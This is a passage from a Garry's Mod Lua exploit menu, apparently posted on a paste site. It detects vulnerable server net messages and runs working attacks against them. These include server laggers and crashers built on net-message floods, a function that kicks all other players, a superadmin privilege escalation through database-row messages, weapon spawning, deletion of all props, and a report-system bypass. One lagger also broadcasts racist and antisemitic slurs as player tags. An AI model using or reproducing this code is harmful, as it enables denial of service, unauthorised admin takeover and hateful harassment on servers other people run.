  906.  
  907. net.WriteString( "adminroom1" )
  908.  
  909. net.SendToServer()
  910.  
  911. net.Start( "ATS_WARP_FROM_CLIENT" )
  912.  
  913. net.WriteEntity( v )
  914.  
  915. net.WriteString( "adminroom1" )
  916.  
  917. net.SendToServer()
  918.  
  919. net.Start( "ATS_WARP_VIEWOWNER" )
  920.  
  921. net.WriteEntity( v )
  922.  
  923. net.WriteString( "adminroom1" )
  924.  
  925. net.SendToServer()
  926.  
  927. end
  928.  
  929. end)
  930. else
  931. SploitNotify("Stopping Lagger")
  932. lagger1 = 0
  933. timer.Remove("lagger1")
  934. end
  935.  
  936. end);end
  937.  
  938. local status = ValidNetString("CFRemoveGame")
  939. if (status) then
  940. SploitText("Found Exploit: Lagger #2")
  941. lagger2 = 0
  942. addExploit( "21", "Lagger #2", "b1g lags", function()
  943. surface.PlaySound("garrysmod/ui_click.wav")
  944. if (lagger2 == 0) then
  945. SploitNotify("Starting Lagger")
  946. lagger2 = 1
  947. timer.Create("lagger2", 0.01, 0, function()
  948.  
  949. for k,v in pairs(player.GetAll()) do
  950.  
  951. net.Start( "CFRemoveGame" )
  952.  
  953. net.WriteFloat( math.Round( "10000\n" ) )
  954.  
  955. net.SendToServer()
  956.  
  957. net.Start( "CFJoinGame" )
  958.  
  959. net.WriteFloat( math.Round( "10000\n" ) )
  960.  
  961. net.SendToServer()
  962.  
  963. net.Start( "CFEndGame" )
  964.  
  965. net.WriteFloat( "10000\n" )
  966.  
  967. net.SendToServer()
  968.  
  969. end
  970.  
  971. end)
  972. else
  973. SploitNotify("Stopping Lagger")
  974. lagger2 = 0
  975. timer.Remove("lagger2")
  976. end
  977.  
  978. end);end
  979.  
  980. local status = ValidNetString("CreateCase")
  981. if (status) then
  982. SploitText("Found Exploit: Lagger #4")
  983. lagger4 = 0
  984. addExploit( "23", "Lagger #4", "b1g lags", function()
  985. surface.PlaySound("garrysmod/ui_click.wav")
  986. if (lagger4 == 0) then
  987. SploitNotify("Starting Lagger")
  988. lagger4 = 1
  989. timer.Create("lagger4", 0.02, 0, function()
  990.  
  991. for i = 1, 300 do
  992.  
  993. net.Start( "CreateCase" )
  994.  
  995. net.WriteString( "tapped by citizenhack.me" )
  996.  
  997. net.SendToServer()
  998.  
  999.  
  1000. end;end)
  1001. else
  1002. SploitNotify("Stopping Lagger")
  1003. lagger4 = 0
  1004. timer.Remove("lagger4")
  1005. end
  1006.  
  1007. end);end
  1008.  
  1009. local status = ValidNetString("rprotect_terminal_settings")
  1010. if (status) then
  1011. SploitText("Found Exploit: Lagger #5")
  1012. lagger5 = 0
  1013. addExploit( "24", "Lagger #5", "b1g lags", function()
  1014. surface.PlaySound("garrysmod/ui_click.wav")
  1015. if (lagger5 == 0) then
  1016. SploitNotify("Starting Lagger")
  1017. lagger5 = 1
  1018. timer.Create("lagger5", 0.02, 0, function()
  1019.  
  1020. for i = 1, 200 do
  1021.  
  1022. net.Start( "rprotect_terminal_settings" )
  1023.  
  1024. net.WriteEntity( LocalPlayer() )
  1025.  
  1026. net.SendToServer()
  1027.  
  1028. end
  1029.  
  1030. end)
  1031. else
  1032. SploitNotify("Stopping Lagger")
  1033. lagger5 = 0
  1034. timer.Remove("lagger5")
  1035. end
  1036.  
  1037. end);end
  1038.  
  1039. local status = ValidNetString("StackGhost")
  1040. if (status) then
  1041. SploitText("Found Exploit: Lagger #6")
  1042. lagger6 = 0
  1043. addExploit( "25", "Lagger #6", "b1g lags", function()
  1044. surface.PlaySound("garrysmod/ui_click.wav")
  1045. if (lagger6 == 0) then
  1046. SploitNotify("Starting Lagger")
  1047. lagger6 = 1
  1048. timer.Create("lagger6", 0.010, 0, function()
  1049.  
  1050. for i = 1, 8 do
  1051. for k,v in pairs( player.GetAll() ) do
  1052. net.Start( "StackGhost" )
  1053. net.WriteInt(69,32)
  1054. net.SendToServer()
  1055.  
  1056. end;end;end)
  1057. else
  1058. SploitNotify("Stopping Lagger")
  1059. lagger6 = 0
  1060. timer.Remove("lagger6")
  1061. end
  1062.  
  1063. end);end
  1064.  
  1065.  
  1066.  
  1067. local status = ValidNetString("pac_to_contraption")
  1068. if (status) then
  1069. SploitText("Found Exloit: Crash Server")
  1070. addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
  1071. surface.PlaySound("garrysmod/ui_click.wav")
  1072. SploitNotify("Crashing Server")
  1073. local tbl = {}
  1074.  
  1075. for i=1,1000000000 do
  1076.  
  1077. tbl[#tbl + 1] = i
  1078.  
  1079. end
  1080.  
  1081. net.Start("pac_to_contraption")
  1082.  
  1083. net.WriteTable( tbl )
  1084.  
  1085. net.SendToServer()
  1086. end);end
  1087.  
  1088.  
  1089. local status = ValidNetString("NLRKick")
  1090. if (status) then
  1091. SploitText("Found Exploit: Kick All")
  1092. addExploit( "27","Kick All", "kick all the beaners", function()
  1093. surface.PlaySound("garrysmod/ui_click.wav")
  1094. SploitNotify("Kicking All")
  1095. for k,v in pairs(player.GetAll()) do
  1096. if v != LocalPlayer() then
  1097. net.Start("NLRKick")
  1098. net.WriteEntity(v)
  1099. net.SendToServer()
  1100. end
  1101. end
  1102. end);end
  1103.  
  1104. local status = ValidNetString("JoinOrg")
  1105. if (status) then
  1106. SploitText("Found Exploit: Lagger #7")
  1107. lagger7 = 0
  1108. addExploit( "28", "Lagger #7", "b1111g lags", function()
  1109. surface.PlaySound("garrysmod/ui_click.wav")
  1110. if (lagger7 == 0) then
  1111. SploitNotify("Starting Lagger")
  1112. lagger7 = 1
  1113. timer.Create("lagger7", 0.02, 0, function()
  1114.  
  1115. for k,v in pairs(player.GetAll()) do
  1116. net.Start("JoinOrg")
  1117. net.WriteEntity(LocalPlayer())
  1118. net.WriteString("test")
  1119. net.SendToServer()
  1120. end
  1121.  
  1122. end)
  1123. else
  1124. SploitNotify("Stopping Lagger")
  1125. lagger7 = 0
  1126. timer.Remove("lagger7")
  1127. end
  1128.  
  1129. end);end
  1130.  
  1131. local status = ValidNetString("giveweapon")
  1132. if (status) then
  1133. SploitText("Found Exploit: Give Weapons")
  1134. addExploit( "29", "Give Weapons", "big explo1t", function()
  1135. inputFrame2Exists = true
  1136. inputFrame2 = vgui.Create( "DFrame" )
  1137. inputFrame2:SetTitle("Choose a weapon!")
  1138. inputFrame2:SetSize( 400, 75 )
  1139. inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
  1140. inputFrame2:SetDraggable(false)
  1141. inputFrame2:ShowCloseButton(false)
  1142. inputFrame2:MakePopup()
  1143. inputFrame2.Paint = function( self, w, h )
  1144. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1145. end
  1146.  
  1147. local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
  1148. TextEntry2:SetSize( 380, 30 )
  1149. TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
  1150. TextEntry2:SetText( "m9k_ak47" )
  1151. TextEntry2.OnEnter = function( self )
  1152. surface.PlaySound("garrysmod/ui_click.wav")
  1153. SploitNotify("Giving " .. TextEntry2:GetValue())
  1154.  
  1155.  
  1156. net.Start("giveweapon")
  1157. net.WriteEntity(LocalPlayer())
  1158. net.WriteString(TextEntry2:GetValue())
  1159. net.SendToServer()
  1160.  
  1161. inputFrame2:SetVisible(false)
  1162. end
  1163. end)
  1164. end
  1165.  
  1166. local status = ValidNetString("timebombDefuse")
  1167. if (status) then
  1168. SploitText("Found Exploit: Delete All Props")
  1169. addExploit( "30","Delete All Props", "props = dead", function()
  1170. surface.PlaySound("garrysmod/ui_click.wav")
  1171. SploitNotify("Props De_Stroyed")
  1172. for k,v in pairs(ents.GetAll()) do
  1173. net.Start("timebombDefuse")
  1174. net.WriteEntity(v)
  1175. net.WriteBool(true)
  1176. net.SendToServer()
  1177. end
  1178. end);end
  1179.  
  1180. local status = ValidNetString("pac_submit")
  1181. if (status) then
  1182. SploitText("Found Exploit: Lagger")
  1183. addExploit( "31","Lagger #8", "l4g yuh", function()
  1184. surface.PlaySound("garrysmod/ui_click.wav")
  1185.  
  1186. if !timer.Exists( "lagger8" ) then
  1187. timer.Create("lagger8", 0.5, 0, function()
  1188. for i=1, 1800 do
  1189. net.Start("pac_submit")
  1190. net.SendToServer()
  1191. end
  1192. end)
  1193. SploitNotify("Starting Lagger")
  1194. else
  1195. timer.Remove("lagger8")
  1196. SploitNotify("Stopping Lagger")
  1197. end
  1198. end);end
  1199.  
  1200.  
  1201. local status = ValidNetString("steamid2")
  1202. if (status) then
  1203. SploitText("Found Exploit: Lagger #9")
  1204. addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
  1205. surface.PlaySound("garrysmod/ui_click.wav")
  1206.  
  1207. if !timer.Exists( "lagger9" ) then
  1208.  
  1209. SploitNotify("Starting Lagger")
  1210.  
  1211. timer.Create( "lagger9", 0, 0, function()
  1212.  
  1213. for i = 1, 100 do
  1214.  
  1215. net.Start( "steamid2" )
  1216.  
  1217. net.WriteString( "discord.gg/F7nSfff" )
  1218.  
  1219. net.SendToServer()
  1220. end
  1221. end)
  1222. else
  1223. timer.Remove("lagger9")
  1224. SploitNotify("Stopping Lagger")
  1225. end
  1226.  
  1227. end);end
  1228.  
  1229. local status = ValidNetString("NDES_SelectedEmblem")
  1230. if (status) then
  1231. SploitText("Found Exploit: Lagger #10")
  1232. addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
  1233. surface.PlaySound("garrysmod/ui_click.wav")
  1234.  
  1235. if !timer.Exists( "lagger10" ) then
  1236. timer.Create("lagger10", 0.5, 0, function()
  1237. for i=1, 2000 do
  1238. net.Start("NDES_SelectedEmblem")
  1239. net.WriteString("exploitcity")
  1240. net.SendToServer()
  1241. end
  1242. end)
  1243. SploitNotify("Starting Lagger")
  1244. else
  1245. timer.Remove("lagger10")
  1246. SploitNotify("Stopping Lagger")
  1247. end
  1248.  
  1249.  
  1250. end);end
  1251.  
  1252.  
  1253.  
  1254. local status = ValidNetString("Morpheus.StaffTracker")
  1255. if (status) then
  1256. SploitText("Found Exploit: Crasher #3")
  1257. addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
  1258. surface.PlaySound("garrysmod/ui_click.wav")
  1259.  
  1260. if !timer.Exists( "crasher3" ) then
  1261. timer.Create("crasher3", 0.5, 0, function()
  1262. for i=1, 2000 do
  1263. net.Start("Morpheus.StaffTracker")
  1264. net.SendToServer()
  1265. end
  1266. end)
  1267. SploitNotify("Crashing Server")
  1268. else
  1269. timer.Remove("crasher3")
  1270. SploitNotify( "Canceling Crasher" )
  1271. end
  1272.  
  1273. end);end
  1274.  
  1275.  
  1276. local status = ValidNetString("egg")
  1277. if (status) then
  1278. SploitText("Found Exploit: Get Easter Egg")
  1279. addExploit( "34","Get Easter Egg", "ez eggs", function()
  1280. surface.PlaySound("garrysmod/ui_click.wav")
  1281.  
  1282. net.Start("egg")
  1283. net.SendToServer()
  1284. SploitNotify("Gave Easter Egg")
  1285.  
  1286. end);end
  1287.  
  1288. local status = ValidNetString("TalkIconChat")
  1289. if (status) then
  1290. spoofchat = 0
  1291. SploitText("Found Exploit: Spoof Chat Icon")
  1292. addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
  1293. surface.PlaySound("garrysmod/ui_click.wav")
  1294.  
  1295. if spoofchat == 0 then
  1296. hook.Remove('StartChat', 'TalkIcon')
  1297. net.Start("TalkIconChat")
  1298. net.WriteBool(true)
  1299. net.SendToServer()
  1300. spoofchat = 1
  1301. SploitNotify("Enabled Icon Spoofer")
  1302. else
  1303. net.Start("TalkIconChat")
  1304. net.WriteBool(false)
  1305. net.SendToServer()
  1306. SploitNotify("Disabled Icon Spoofer")
  1307. spoofchat = 0
  1308. end
  1309.  
  1310.  
  1311. end);end
  1312.  
  1313.  
  1314. local status = ValidNetString("join_disconnect")
  1315. if (status) then
  1316. SploitText("Found Exploit: Lagger #11")
  1317. addExploit( "36","Lagger #11", "b1g lags my duder", function()
  1318. surface.PlaySound("garrysmod/ui_click.wav")
  1319.  
  1320. if !timer.Exists( "lagger11" ) then
  1321. timer.Create("lagger11", 0.5, 0, function()
  1322. for i=1, 3000 do
  1323. net.Start("join_disconnect")
  1324. net.WriteEntity(table.Random(player.GetAll()))
  1325. net.SendToServer()
  1326. end
  1327. end)
  1328. SploitNotify("Starting Lagger")
  1329. else
  1330. timer.Remove("lagger11")
  1331. SploitNotify("Stopping Lagger")
  1332. end
  1333.  
  1334.  
  1335. end);end
  1336.  
  1337.  
  1338. local status = ValidNetString("pplay_deleterow")
  1339. if (status) then
  1340. SploitText("Found Exploit: GET SUPERADMIN")
  1341. addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
  1342. surface.PlaySound("garrysmod/ui_click.wav")
  1343.  
  1344. local id = LocalPlayer():SteamID()
  1345.  
  1346. local tbl = {}
  1347.  
  1348. tbl.name = "FAdmin_PlayerGroup"
  1349.  
  1350. tbl.where = {
  1351.  
  1352. "steamid",
  1353.  
  1354. tostring(id)
  1355.  
  1356. }
  1357.  
  1358. net.Start("pplay_deleterow")
  1359.  
  1360. net.WriteTable(tbl)
  1361.  
  1362. net.SendToServer()
  1363.  
  1364.  
  1365.  
  1366. local tbl = {}
  1367.  
  1368. tbl.tblname = "FAdmin_PlayerGroup"
  1369.  
  1370. tbl.tblinfo = {
  1371.  
  1372. tostring(id),
  1373.  
  1374. "superadmin"
  1375.  
  1376. }
  1377.  
  1378. net.Start("pplay_addrow")
  1379.  
  1380. net.WriteTable(tbl)
  1381.  
  1382. net.SendToServer()
  1383.  
  1384. SploitNotify("promotion ;)")
  1385.  
  1386.  
  1387. end);end
  1388.  
  1389. -- ttt report bypass by daddy grampa
  1390. local title = "You have been reported! Please answer all your reports."
  1391. local function CheckChild(pan)
  1392. if !pan || !IsValid(pan) then return end
  1393. if pan.GetTitle && pan:GetTitle() == title then
  1394. pan:Remove();
  1395. print("Removed warning box")
  1396. return
  1397. end
  1398. for k,v in pairs(pan:GetChildren()) do
  1399. if v.GetTitle && v:GetTitle() == title then
  1400. v:Remove();
  1401. print("Removed warning box")
  1402. return
  1403. end
  1404. if #v:GetChildren() > 0 then
  1405. CheckChild(v)
  1406. end
  1407. end
  1408. end
  1409.  
  1410.  
  1411. if (engine.ActiveGamemode() == "terrortown") then
  1412. bypass = 0
  1413. SploitText("Found Exploit: TTT Report Bypass")
  1414. addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
  1415. surface.PlaySound("garrysmod/ui_click.wav")
  1416.  
  1417. if (bypass == 0) then
  1418. hook.Add("Think", "remove_ttt_report", function()
  1419. local pan = vgui.GetHoveredPanel()
  1420. CheckChild(pan)
  1421. end)
  1422. SploitNotify("Enabled Report Bypass")
  1423. bypass = 1
  1424. else
  1425. hook.Remove("Think", "remove_ttt_report")
  1426. SploitNotify("Disabled Report Bypass")
  1427. bypass = 0
  1428. end
  1429.  
  1430.  
  1431. end);end
  1432.  
  1433. local status = ValidNetString("EZS_PlayerTag")
  1434. if (status) then
  1435. SploitText("Found exploitable net message: EZS_PlayerTag")
  1436. addExploit( "39","Lagger #12", "b1g lags my duder", function()
  1437. surface.PlaySound("garrysmod/ui_click.wav")
  1438.  
  1439. if !timer.Exists( "lagger12" ) then
  1440. timer.Create("lagger12", 0.5, 0, function()
  1441. for k, v in pairs(player.GetAll()) do
  1442. net.Start( "EZS_PlayerTag" )
  1443. net.WriteEntity(v)
  1444. net.WriteString("I hate niggers")
  1445. net.SendToServer()
  1446. timer.Simple(2, function()
  1447. net.Start( "EZS_PlayerTag" )
  1448. net.WriteEntity(v)
  1449. net.WriteString("I hate jews")
  1450. net.SendToServer()
  1451. end)
  1452. end
  1453. end)
  1454. SploitNotify("Starting Lagger")
  1455. else
  1456. timer.Remove("lagger12")
  1457. SploitNotify("Stopping Lagger")
  1458. end
  1459. end);end
  1460.  
  1461. if ConVarExists("advttt_spreadovertime_enabled") then
  1462. SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
  1463. addExploit( "40","Remove Spread", "pSilent No Spread", function()
  1464. surface.PlaySound("garrysmod/ui_click.wav")
  1465. hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
  1466. SploitNotify("Spread Removed")
  1467. end);end
  1468.  
  1469.  
  1470. local status = ValidNetString("ATS_WARP_FROM_CLIENT")
  1471. if (status) then
  1472. SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
  1473. addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
  1474. inputFrame3Exists = true
  1475. inputFrame3 = vgui.Create( "DFrame" )
  1476. inputFrame3:SetTitle("Type a String Destination")
  1477. inputFrame3:SetSize( 400, 75 )
  1478. inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
  1479. inputFrame3:SetDraggable(false)
  1480. inputFrame3:ShowCloseButton(false)
  1481. inputFrame3:MakePopup()
  1482. inputFrame3.Paint = function( self, w, h )
  1483. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1484. end
  1485.  
  1486. local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
  1487. TextEntry3:SetSize( 380, 30 )
  1488. TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
  1489. TextEntry3:SetText( "*destination*" )
  1490. TextEntry3.OnEnter = function( self )
  1491. surface.PlaySound("garrysmod/ui_click.wav")
  1492. SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
  1493.  
  1494. net.Start( "ATS_WARP_FROM_CLIENT" )
  1495.  
  1496. net.WriteEntity( LocalPlayer() )
  1497. net.WriteString( TextEntry3:GetValue() )
  1498.  
  1499. net.SendToServer()
  1500.  
  1501.  
  1502. inputFrame3:SetVisible(false)
  1503. end
  1504. end)
  1505. end
  1506.  
  1507.  
  1508.  
  1509.  
  1510.  
  1511.  
  1512. /*
  1513. local status = ValidNetString("TCBuyAmmo")
  1514. if (status) then
  1515. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  1516. surface.PlaySound("garrysmod/ui_click.wav")
  1517. SploitText("Getting Le Ammo")
  1518. end);end
  1519. */
  1520.  
  1521.  
  1522.  
  1523.  
  1524. concommand.Add("exploits_open", function()
  1525. Main:SetVisible(true)
  1526. Main:MakePopup()
  1527. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
  1528. end)
  1529.  
  1530. closebutton.DoClick = function()
  1531. Main:SetMouseInputEnabled(false)
  1532. Main:SetKeyBoardInputEnabled(false)
  1533. if (inputFrameExists) then
  1534. inputFrame:SetVisible(false)
  1535. end
  1536. if (inputFrame2Exists) then
  1537. inputFrame2:SetVisible(false)
  1538. end
  1539. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
  1540. Main:SetVisible(false)
  1541. end)
  1542. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement